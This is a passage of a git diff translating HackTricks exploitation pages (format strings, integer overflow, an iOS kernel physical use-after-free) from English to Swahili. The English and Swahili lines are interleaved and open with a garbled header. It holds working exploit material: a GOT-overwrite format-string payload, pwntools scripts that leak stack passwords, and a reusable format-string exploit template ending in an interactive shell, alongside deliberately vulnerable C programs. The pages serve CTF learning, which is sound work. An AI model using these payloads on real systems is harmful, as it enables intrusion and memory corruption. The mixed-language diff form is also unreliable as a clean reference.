HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
```bash
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
```
### Pwntools Template
You can find a **template** to prepare a exploit for this kind of vulnerability in:
Unaweza kupata **template** ya kuandaa exploit kwa aina hii ya udhaifu katika:
{{#ref}}
format-strings-template.md
{{#endref}}
Or this basic example from [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
Au mfano huu wa msingi kutoka [**hapa**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
```python
from pwn import *
@ -225,10 +197,9 @@ p.sendline('/bin/sh')
p.interactive()
```
## Format Strings to BOF
It's possible to abuse the write actions of a format string vulnerability to **write in addresses of the stack** and exploit a **buffer overflow** type of vulnerability.
Inawezekana kutumia vitendo vya kuandika vya udhaifu wa format string ili **kuandika katika anwani za stack** na kutumia udhaifu wa aina ya **buffer overflow**.
## Other Examples & References
@ -236,16 +207,10 @@ It's possible to abuse the write actions of a format string vulnerability to **w
- [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
- [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
- [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
- 32 bit, no relro, no canary, nx, no pie, basic use of format strings to leak the flag from the stack (no need to alter the execution flow)
- 32 bit, no relro, no canary, nx, no pie, matumizi ya msingi ya format strings kuvuja bendera kutoka kwenye stack (hakuna haja ya kubadilisha mtiririko wa utekelezaji)
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
- 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win)
- 32 bit, relro, no canary, nx, no pie, format string kuandika anwani `fflush` na kazi ya ushindi (ret2win)
- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
- 32 bit, relro, no canary, nx, no pie, format string to write an address inside main in `.fini_array` (so the flow loops back 1 more time) and write the address to `system` in the GOT table pointing to `strlen`. When the flow goes back to main, `strlen` is executed with user input and pointing to `system`, it will execute the passed commands.
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
{% embed url="https://www.stmcyber.com/careers" %}
- 32 bit, relro, no canary, nx, no pie, format string kuandika anwani ndani ya main katika `.fini_array` (hivyo mtiririko unarudi nyuma mara moja zaidi) na kuandika anwani kwa `system` katika jedwali la GOT ikielekeza kwa `strlen`. Wakati mtiririko unaporudi kwenye main, `strlen` inatekelezwa kwa pembejeo ya mtumiaji na ikielekeza kwa `system`, itatekeleza amri zilizopitishwa.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,32 +1,27 @@
# Format Strings - Arbitrary Read Example
# Format Strings - Mfano wa Kusoma Bila Mpangilio
{{#include ../../banners/hacktricks-training.md}}
## Read Binary Start
### Code
## Anza Kusoma Binary
### Msimbo
```c
#include <stdio.h>
int main(void) {
char buffer[30];
char buffer[30];
fgets(buffer, sizeof(buffer), stdin);
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
return 0;
printf(buffer);
return 0;
}
```
Compile it with:
Ipeleke na:
```python
clang -o fs-read fs-read.c -Wno-format-security -no-pie
```
### Exploit
```python
from pwn import *
@ -38,16 +33,14 @@ payload += p64(0x00400000)
p.sendline(payload)
log.info(p.clean())
```
- The **offset is 11** because setting several As and **brute-forcing** with a loop offsets from 0 to 50 found that at offset 11 and with 5 extra chars (pipes `|` in our case), it's possible to control a full address.
- I used **`%11$p`** with padding until I so that the address was all 0x4141414141414141
- The **format string payload is BEFORE the address** because the **printf stops reading at a null byte**, so if we send the address and then the format string, the printf will never reach the format string as a null byte will be found before
- The address selected is 0x00400000 because it's where the binary starts (no PIE)
- **offset ni 11** kwa sababu kuweka A kadhaa na **brute-forcing** kwa kutumia loop offsets kutoka 0 hadi 50 iligundua kwamba katika offset 11 na herufi 5 za ziada (pipes `|` katika kesi yetu), inawezekana kudhibiti anwani kamili.
- Nilitumika **`%11$p`** na padding hadi hivyo kwamba anwani ilikuwa 0x4141414141414141
- **payload ya format string iko KABLA ya anwani** kwa sababu **printf inakoma kusoma kwenye byte ya null**, hivyo ikiwa tutatuma anwani na kisha format string, printf haitafikia format string kamwe kwani byte ya null itapatikana kabla
- Anwani iliyochaguliwa ni 0x00400000 kwa sababu ndiko binary inaanzia (hakuna PIE)
<figure><img src="broken-reference" alt="" width="477"><figcaption></figcaption></figure>
## Read passwords
## Soma nywila
```c
#include <stdio.h>
#include <string.h>
@ -55,111 +48,103 @@ log.info(p.clean())
char bss_password[20] = "hardcodedPassBSS"; // Password in BSS
int main() {
char stack_password[20] = "secretStackPass"; // Password in stack
char input1[20], input2[20];
char stack_password[20] = "secretStackPass"; // Password in stack
char input1[20], input2[20];
printf("Enter first password: ");
scanf("%19s", input1);
printf("Enter first password: ");
scanf("%19s", input1);
printf("Enter second password: ");
scanf("%19s", input2);
printf("Enter second password: ");
scanf("%19s", input2);
// Vulnerable printf
printf(input1);
printf("\n");
// Vulnerable printf
printf(input1);
printf("\n");
// Check both passwords
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
printf("Access Granted.\n");
} else {
printf("Access Denied.\n");
}
// Check both passwords
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
printf("Access Granted.\n");
} else {
printf("Access Denied.\n");
}
return 0;
return 0;
}
```
Compile it with:
Kusanya na:
```bash
clang -o fs-read fs-read.c -Wno-format-security
```
### Soma kutoka kwenye stack
### Read from stack
The **`stack_password`** will be stored in the stack because it's a local variable, so just abusing printf to show the content of the stack is enough. This is an exploit to BF the first 100 positions to leak the passwords form the stack:
The **`stack_password`** itahifadhiwa kwenye stack kwa sababu ni variable ya ndani, hivyo kutumia printf kuonyesha maudhui ya stack inatosha. Hii ni exploit ya BF nafasi 100 za kwanza kuvuja nywila kutoka kwenye stack:
```python
from pwn import *
for i in range(100):
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()
```
In the image it's possible to see that we can leak the password from the stack in the `10th` position:
Katika picha inawezekana kuona kwamba tunaweza kuvuja nenosiri kutoka kwenye stack katika nafasi ya `10th`:
<figure><img src="../../images/image (1234).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../images/image (1233).png" alt="" width="338"><figcaption></figcaption></figure>
### Read data
### Soma data
Running the same exploit but with `%p` instead of `%s` it's possible to leak a heap address from the stack at `%25$p`. Moreover, comparing the leaked address (`0xaaaab7030894`) with the position of the password in memory in that process we can obtain the addresses difference:
Kukimbia exploit ile ile lakini kwa `%p` badala ya `%s` inawezekana kuvuja anwani ya heap kutoka kwenye stack katika `%25$p`. Zaidi ya hayo, kulinganisha anwani iliyovuja (`0xaaaab7030894`) na nafasi ya nenosiri katika kumbukumbu katika mchakato huo tunaweza kupata tofauti za anwani:
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
Now it's time to find how to control 1 address in the stack to access it from the second format string vulnerability:
Sasa ni wakati wa kutafuta jinsi ya kudhibiti anwani 1 katika stack ili kuweza kuifikia kutoka kwa udhaifu wa pili wa format string:
```python
from pwn import *
def leak_heap(p):
p.sendlineafter(b"first password:", b"%5$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
p.sendlineafter(b"first password:", b"%5$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
for i in range(30):
p = process("./fs-read")
p = process("./fs-read")
heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")
heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")
password_addr = heap_leak_addr - 0x126a
password_addr = heap_leak_addr - 0x126a
print(f"Try: {i}")
payload = f"%{i}$p|||".encode()
payload += b"AAAAAAAA"
print(f"Try: {i}")
payload = f"%{i}$p|||".encode()
payload += b"AAAAAAAA"
p.sendline(payload)
output = p.clean()
print(output.decode("utf-8"))
p.close()
p.sendline(payload)
output = p.clean()
print(output.decode("utf-8"))
p.close()
```
And it's possible to see that in the **try 14** with the used passing we can control an address:
Na inawezekana kuona kwamba katika **jaribio 14** na kupitishwa kulikotumika tunaweza kudhibiti anwani:
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
### Exploit
```python
from pwn import *
p = process("./fs-read")
def leak_heap(p):
# At offset 25 there is a heap leak
p.sendlineafter(b"first password:", b"%25$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
# At offset 25 there is a heap leak
p.sendlineafter(b"first password:", b"%25$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")
@ -178,7 +163,6 @@ output = p.clean()
print(output)
p.close()
```
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,7 +1,6 @@
# Format Strings Template
{{#include ../../banners/hacktricks-training.md}}
```python
from pwn import *
from time import sleep
@ -36,23 +35,23 @@ print(" ====================== ")
def connect_binary():
global P, ELF_LOADED, ROP_LOADED
global P, ELF_LOADED, ROP_LOADED
if LOCAL:
P = process(LOCAL_BIN) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
if LOCAL:
P = process(LOCAL_BIN) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
elif REMOTETTCP:
P = remote('10.10.10.10',1338) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
elif REMOTETTCP:
P = remote('10.10.10.10',1338) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
elif REMOTESSH:
ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
P = ssh_shell.process(REMOTE_BIN) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(elf)# Find ROP gadgets
elif REMOTESSH:
ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
P = ssh_shell.process(REMOTE_BIN) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(elf)# Find ROP gadgets
#######################################
@ -60,39 +59,39 @@ def connect_binary():
#######################################
def send_payload(payload):
payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD
log.info("payload = %s" % repr(payload))
if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED")
P.sendline(payload)
sleep(0.5)
return P.recv()
payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD
log.info("payload = %s" % repr(payload))
if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED")
P.sendline(payload)
sleep(0.5)
return P.recv()
def get_formatstring_config():
global P
global P
for offset in range(1,1000):
connect_binary()
P.clean()
for offset in range(1,1000):
connect_binary()
P.clean()
payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p"
recieved = send_payload(payload).strip()
payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p"
recieved = send_payload(payload).strip()
if b"41" in recieved:
for padlen in range(0,4):
if b"41414141" in recieved:
connect_binary()
payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p"
recieved = send_payload(payload).strip()
print(recieved)
if b"42424242" in recieved:
log.info(f"Found offset ({offset}) and padlen ({padlen})")
return offset, padlen
if b"41" in recieved:
for padlen in range(0,4):
if b"41414141" in recieved:
connect_binary()
payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p"
recieved = send_payload(payload).strip()
print(recieved)
if b"42424242" in recieved:
log.info(f"Found offset ({offset}) and padlen ({padlen})")
return offset, padlen
else:
connect_binary()
payload = b" " + payload
recieved = send_payload(payload).strip()
else:
connect_binary()
payload = b" " + payload
recieved = send_payload(payload).strip()
# In order to exploit a format string you need to find a position where part of your payload
@ -125,10 +124,10 @@ log.info(f"Printf GOT address: {hex(P_GOT)}")
connect_binary()
if GDB and not REMOTETTCP and not REMOTESSH:
# attach gdb and continue
# You can set breakpoints, for example "break *main"
gdb.attach(P.pid, "b *main") #Add more breaks separeted by "\n"
sleep(5)
# attach gdb and continue
# You can set breakpoints, for example "break *main"
gdb.attach(P.pid, "b *main") #Add more breaks separeted by "\n"
sleep(5)
format_string = FmtStr(execute_fmt=send_payload, offset=offset, padlen=padlen, numbwritten=NNUM_ALREADY_WRITTEN_BYTES)
#format_string.write(P_FINI_ARRAY, INIT_LOOP_ADDR)
@ -141,5 +140,4 @@ format_string.execute_writes()
P.interactive()
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,120 +4,112 @@
## Basic Information
At the heart of an **integer overflow** is the limitation imposed by the **size** of data types in computer programming and the **interpretation** of the data.
Katika msingi wa **integer overflow** kuna kikomo kinachowekwa na **ukubwa** wa aina za data katika programu za kompyuta na **ufafanuzi** wa data.
For example, an **8-bit unsigned integer** can represent values from **0 to 255**. If you attempt to store the value 256 in an 8-bit unsigned integer, it wraps around to 0 due to the limitation of its storage capacity. Similarly, for a **16-bit unsigned integer**, which can hold values from **0 to 65,535**, adding 1 to 65,535 will wrap the value back to 0.
Kwa mfano, **8-bit unsigned integer** inaweza kuwakilisha thamani kutoka **0 hadi 255**. Ikiwa unajaribu kuhifadhi thamani 256 katika 8-bit unsigned integer, inarudi nyuma hadi 0 kutokana na kikomo cha uwezo wake wa kuhifadhi. Vivyo hivyo, kwa **16-bit unsigned integer**, ambayo inaweza kushikilia thamani kutoka **0 hadi 65,535**, kuongeza 1 kwa 65,535 itarudisha thamani hiyo hadi 0.
Moreover, an **8-bit signed integer** can represent values from **-128 to 127**. This is because one bit is used to represent the sign (positive or negative), leaving 7 bits to represent the magnitude. The most negative number is represented as **-128** (binary `10000000`), and the most positive number is **127** (binary `01111111`).
Zaidi ya hayo, **8-bit signed integer** inaweza kuwakilisha thamani kutoka **-128 hadi 127**. Hii ni kwa sababu bit moja inatumika kuwakilisha ishara (chanya au hasi), ikiacha bits 7 kuwakilisha ukubwa. Nambari hasi zaidi inawakilishwa kama **-128** (binary `10000000`), na nambari chanya zaidi ni **127** (binary `01111111`).
### Max values
For potential **web vulnerabilities** it's very interesting to know the maximum supported values:
Kwa uwezekano wa **web vulnerabilities** ni muhimu kujua thamani za juu zinazoungwa mkono:
{{#tabs}}
{{#tab name="Rust"}}
```rust
fn main() {
let mut quantity = 2147483647;
let mut quantity = 2147483647;
let (mul_result, _) = i32::overflowing_mul(32767, quantity);
let (add_result, _) = i32::overflowing_add(1, quantity);
let (mul_result, _) = i32::overflowing_mul(32767, quantity);
let (add_result, _) = i32::overflowing_add(1, quantity);
println!("{}", mul_result);
println!("{}", add_result);
println!("{}", mul_result);
println!("{}", add_result);
}
```
{{#endtab}}
{{#tab name="C"}}
```c
#include <stdio.h>
#include <limits.h>
int main() {
int a = INT_MAX;
int b = 0;
int c = 0;
int a = INT_MAX;
int b = 0;
int c = 0;
b = a * 100;
c = a + 1;
b = a * 100;
c = a + 1;
printf("%d\n", INT_MAX);
printf("%d\n", b);
printf("%d\n", c);
return 0;
printf("%d\n", INT_MAX);
printf("%d\n", b);
printf("%d\n", c);
return 0;
}
```
{{#endtab}}
{{#endtabs}}
## Examples
## Mifano
### Pure overflow
The printed result will be 0 as we overflowed the char:
### Overflow safi
Matokeo yaliyochapishwa yatakuwa 0 kwani tumepita kiwango cha char:
```c
#include <stdio.h>
int main() {
unsigned char max = 255; // 8-bit unsigned integer
unsigned char result = max + 1;
printf("Result: %d\n", result); // Expected to overflow
return 0;
unsigned char max = 255; // 8-bit unsigned integer
unsigned char result = max + 1;
printf("Result: %d\n", result); // Expected to overflow
return 0;
}
```
### Kubadilisha Sahihi kuwa Isiyo na Sahihi
### Signed to Unsigned Conversion
Consider a situation where a signed integer is read from user input and then used in a context that treats it as an unsigned integer, without proper validation:
Fikiria hali ambapo nambari iliyo na saini inasomwa kutoka kwa ingizo la mtumiaji na kisha kutumika katika muktadha ambao unait treating kama nambari isiyo na saini, bila uthibitisho sahihi:
```c
#include <stdio.h>
int main() {
int userInput; // Signed integer
printf("Enter a number: ");
scanf("%d", &userInput);
int userInput; // Signed integer
printf("Enter a number: ");
scanf("%d", &userInput);
// Treating the signed input as unsigned without validation
unsigned int processedInput = (unsigned int)userInput;
// Treating the signed input as unsigned without validation
unsigned int processedInput = (unsigned int)userInput;
// A condition that might not work as intended if userInput is negative
if (processedInput > 1000) {
printf("Processed Input is large: %u\n", processedInput);
} else {
printf("Processed Input is within range: %u\n", processedInput);
}
// A condition that might not work as intended if userInput is negative
if (processedInput > 1000) {
printf("Processed Input is large: %u\n", processedInput);
} else {
printf("Processed Input is within range: %u\n", processedInput);
}
return 0;
return 0;
}
```
Katika mfano huu, ikiwa mtumiaji anaingiza nambari hasi, itatafsiriwa kama nambari kubwa isiyo na alama kutokana na jinsi thamani za binary zinavyotafsiriwa, ambayo inaweza kusababisha tabia isiyotarajiwa.
In this example, if a user inputs a negative number, it will be interpreted as a large unsigned integer due to the way binary values are interpreted, potentially leading to unexpected behavior.
### Other Examples
### Mifano Mingine
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
- Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection
- Ni 1B pekee inayotumika kuhifadhi ukubwa wa nenosiri hivyo inawezekana kujaa na kuifanya ifikirie kuwa urefu wake ni 4 wakati kwa kweli ni 260 ili kupita ulinzi wa ukaguzi wa urefu
- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
- Given a couple of numbers find out using z3 a new number that multiplied by the first one will give the second one:&#x20;
- Kutolewa kwa nambari kadhaa pata kutumia z3 nambari mpya ambayo ikizidishwa na ya kwanza itatoa ya pili:&#x20;
```
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
```
```
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
```
- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
- Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection and overwrite in the stack the next local variable and bypass both protections
- Ni 1B pekee inayotumika kuhifadhi ukubwa wa nenosiri hivyo inawezekana kujaa na kuifanya ifikirie kuwa urefu wake ni 4 wakati kwa kweli ni 260 ili kupita ulinzi wa ukaguzi wa urefu na kuandika katika stack variable ya ndani inayofuata na kupita ulinzi wote
## ARM64
This **doesn't change in ARM64** as you can see in [**this blog post**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
Hii **haiwezi kubadilika katika ARM64** kama unavyoona katika [**hiki chapisho la blog**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,211 +2,202 @@
## Physical use-after-free
This is a summary from the post from [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) moreover further information about exploit using this technique can be found in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
Hii ni muhtasari kutoka kwa posti kutoka [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) zaidi ya hayo taarifa zaidi kuhusu exploit kutumia mbinu hii inaweza kupatikana katika [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
### Memory management in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
The **virtual memory address space** for user processes on iOS spans from **0x0 to 0x8000000000**. However, these addresses dont directly map to physical memory. Instead, the **kernel** uses **page tables** to translate virtual addresses into actual **physical addresses**.
**Anwani ya nafasi ya kumbukumbu ya virtual** kwa michakato ya mtumiaji kwenye iOS inapanuka kutoka **0x0 hadi 0x8000000000**. Hata hivyo, anwani hizi hazihusiani moja kwa moja na kumbukumbu halisi. Badala yake, **kernel** hutumia **meza za kurasa** kutafsiri anwani za virtual kuwa anwani halisi **za kimwili**.
#### Levels of Page Tables in iOS
Page tables are organized hierarchically in three levels:
Meza za kurasa zimeandaliwa kwa njia ya ngazi tatu:
1. **L1 Page Table (Level 1)**:
* Each entry here represents a large range of virtual memory.
* It covers **0x1000000000 bytes** (or **256 GB**) of virtual memory.
2. **L2 Page Table (Level 2)**:
* An entry here represents a smaller region of virtual memory, specifically **0x2000000 bytes** (32 MB).
* An L1 entry may point to an L2 table if it can't map the entire region itself.
3. **L3 Page Table (Level 3)**:
* This is the finest level, where each entry maps a single **4 KB** memory page.
* An L2 entry may point to an L3 table if more granular control is needed.
1. **L1 Page Table (Ngazi 1)**:
* Kila kipengee hapa kinawakilisha anuwai kubwa ya kumbukumbu ya virtual.
* Inashughulikia **0x1000000000 bytes** (au **256 GB**) ya kumbukumbu ya virtual.
2. **L2 Page Table (Ngazi 2)**:
* Kipengee hapa kinawakilisha eneo dogo la kumbukumbu ya virtual, haswa **0x2000000 bytes** (32 MB).
* Kipengee cha L1 kinaweza kuelekeza kwenye meza ya L2 ikiwa hakiwezi kuunganisha eneo lote lenyewe.
3. **L3 Page Table (Ngazi 3)**:
* Hii ni ngazi ya juu zaidi, ambapo kila kipengee kinaunganisha ukurasa mmoja wa kumbukumbu **4 KB**.
* Kipengee cha L2 kinaweza kuelekeza kwenye meza ya L3 ikiwa udhibiti wa kina unahitajika.
#### Mapping Virtual to Physical Memory
* **Direct Mapping (Block Mapping)**:
* Some entries in a page table directly **map a range of virtual addresses** to a contiguous range of physical addresses (like a shortcut).
* Baadhi ya vipengee katika meza ya kurasa moja kwa moja **huunganisha anuwai ya anwani za virtual** na anuwai inayoendelea ya anwani za kimwili (kama njia ya mkato).
* **Pointer to Child Page Table**:
* If finer control is needed, an entry in one level (e.g., L1) can point to a **child page table** at the next level (e.g., L2).
* Ikiwa udhibiti wa kina unahitajika, kipengee katika ngazi moja (mfano, L1) kinaweza kuelekeza kwenye **meza ya kurasa ya mtoto** katika ngazi inayofuata (mfano, L2).
#### Example: Mapping a Virtual Address
Lets say you try to access the virtual address **0x1000000000**:
Hebu sema unajaribu kufikia anwani ya virtual **0x1000000000**:
1. **L1 Table**:
* The kernel checks the L1 page table entry corresponding to this virtual address. If it has a **pointer to an L2 page table**, it goes to that L2 table.
* Kernel inakagua kipengee cha meza ya L1 kinachohusiana na anwani hii ya virtual. Ikiwa ina **pointer kwa meza ya L2**, inaenda kwenye meza hiyo ya L2.
2. **L2 Table**:
* The kernel checks the L2 page table for a more detailed mapping. If this entry points to an **L3 page table**, it proceeds there.
* Kernel inakagua meza ya L2 kwa ramani ya kina zaidi. Ikiwa kipengee hiki kinaelekeza kwenye **meza ya L3**, inaendelea huko.
3. **L3 Table**:
* The kernel looks up the final L3 entry, which points to the **physical address** of the actual memory page.
* Kernel inatafuta kipengee cha mwisho cha L3, ambacho kinaelekeza kwenye **anwani ya kimwili** ya ukurasa halisi wa kumbukumbu.
#### Example of Address Mapping
If you write the physical address **0x800004000** into the first index of the L2 table, then:
Ikiwa unaandika anwani ya kimwili **0x800004000** kwenye index ya kwanza ya meza ya L2, basi:
* Virtual addresses from **0x1000000000** to **0x1002000000** map to physical addresses from **0x800004000** to **0x802004000**.
* This is a **block mapping** at the L2 level.
* Anwani za virtual kutoka **0x1000000000** hadi **0x1002000000** zinaunganishwa na anwani za kimwili kutoka **0x800004000** hadi **0x802004000**.
* Hii ni **block mapping** katika ngazi ya L2.
Alternatively, if the L2 entry points to an L3 table:
Vinginevyo, ikiwa kipengee cha L2 kinaelekeza kwenye meza ya L3:
* Each 4 KB page in the virtual address range **0x1000000000 -> 0x1002000000** would be mapped by individual entries in the L3 table.
* Kila ukurasa wa 4 KB katika anuwai ya anwani za virtual **0x1000000000 -> 0x1002000000** utakuwa umeunganishwa na vipengee vya kibinafsi katika meza ya L3.
### Physical use-after-free
A **physical use-after-free** (UAF) occurs when:
**Physical use-after-free** (UAF) hutokea wakati:
1. A process **allocates** some memory as **readable and writable**.
2. The **page tables** are updated to map this memory to a specific physical address that the process can access.
3. The process **deallocates** (frees) the memory.
4. However, due to a **bug**, the kernel **forgets to remove the mapping** from the page tables, even though it marks the corresponding physical memory as free.
5. The kernel can then **reallocate this "freed" physical memory** for other purposes, like **kernel data**.
6. Since the mapping wasnt removed, the process can still **read and write** to this physical memory.
1. Mchakato **unapotoa** kumbukumbu fulani kama **inasomeka na kuandikwa**.
2. **Meza za kurasa** zinasasishwa ili kuunganisha kumbukumbu hii na anwani maalum ya kimwili ambayo mchakato unaweza kufikia.
3. Mchakato **unafuta** (huru) kumbukumbu hiyo.
4. Hata hivyo, kutokana na **hitilafu**, kernel **inasahau kuondoa uhusiano** kutoka kwa meza za kurasa, ingawa inashiriki kumbukumbu halisi inayohusiana kama huru.
5. Kernel inaweza kisha **kutoa tena kumbukumbu hii ya kimwili "iliyohifadhiwa"** kwa madhumuni mengine, kama **data ya kernel**.
6. Kwa kuwa uhusiano haukuondolewa, mchakato bado unaweza **kusoma na kuandika** kwenye kumbukumbu hii ya kimwili.
This means the process can access **pages of kernel memory**, which could contain sensitive data or structures, potentially allowing an attacker to **manipulate kernel memory**.
Hii inamaanisha mchakato unaweza kufikia **kurasa za kumbukumbu ya kernel**, ambazo zinaweza kuwa na data nyeti au muundo, ikiruhusu mshambuliaji **kubadilisha kumbukumbu ya kernel**.
### Exploitation Strategy: Heap Spray
Since the attacker cant control which specific kernel pages will be allocated to freed memory, they use a technique called **heap spray**:
Kwa kuwa mshambuliaji hawezi kudhibiti ni kurasa zipi maalum za kernel zitakazotolewa kwa kumbukumbu iliyohifadhiwa, wanatumia mbinu inayoitwa **heap spray**:
1. The attacker **creates a large number of IOSurface objects** in kernel memory.
2. Each IOSurface object contains a **magic value** in one of its fields, making it easy to identify.
3. They **scan the freed pages** to see if any of these IOSurface objects landed on a freed page.
4. When they find an IOSurface object on a freed page, they can use it to **read and write kernel memory**.
1. Mshambuliaji **anaunda idadi kubwa ya vitu vya IOSurface** katika kumbukumbu ya kernel.
2. Kila kitu cha IOSurface kina **thamani ya kichawi** katika moja ya maeneo yake, ikifanya iwe rahisi kutambua.
3. Wanachunguza **kurasa zilizohifadhiwa** kuona ikiwa yoyote ya vitu hivi imeanguka kwenye ukurasa uliohifadhiwa.
4. Wanapokutana na kitu cha IOSurface kwenye ukurasa uliohifadhiwa, wanaweza kukitumia **kusoma na kuandika kumbukumbu ya kernel**.
More info about this in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
Taarifa zaidi kuhusu hii katika [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
### Step-by-Step Heap Spray Process
1. **Spray IOSurface Objects**: The attacker creates many IOSurface objects with a special identifier ("magic value").
2. **Scan Freed Pages**: They check if any of the objects have been allocated on a freed page.
3. **Read/Write Kernel Memory**: By manipulating fields in the IOSurface object, they gain the ability to perform **arbitrary reads and writes** in kernel memory. This lets them:
* Use one field to **read any 32-bit value** in kernel memory.
* Use another field to **write 64-bit values**, achieving a stable **kernel read/write primitive**.
Generate IOSurface objects with the magic value IOSURFACE\_MAGIC to later search for:
1. **Spray IOSurface Objects**: Mshambuliaji anaunda vitu vingi vya IOSurface vyenye kitambulisho maalum ("thamani ya kichawi").
2. **Scan Freed Pages**: Wanakagua ikiwa yoyote ya vitu imewekwa kwenye ukurasa uliohifadhiwa.
3. **Read/Write Kernel Memory**: Kwa kubadilisha maeneo katika kitu cha IOSurface, wanapata uwezo wa kufanya **kusoma na kuandika bila kikomo** katika kumbukumbu ya kernel. Hii inawaruhusu:
* Kutumia eneo moja kusoma **thamani yoyote ya 32-bit** katika kumbukumbu ya kernel.
* Kutumia eneo lingine kuandika **thamani za 64-bit**, kufikia **primitive ya kusoma/kuandika ya kernel** thabiti.
Unda vitu vya IOSurface vyenye thamani ya kichawi IOSURFACE_MAGIC ili baadaye kutafuta:
```c
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
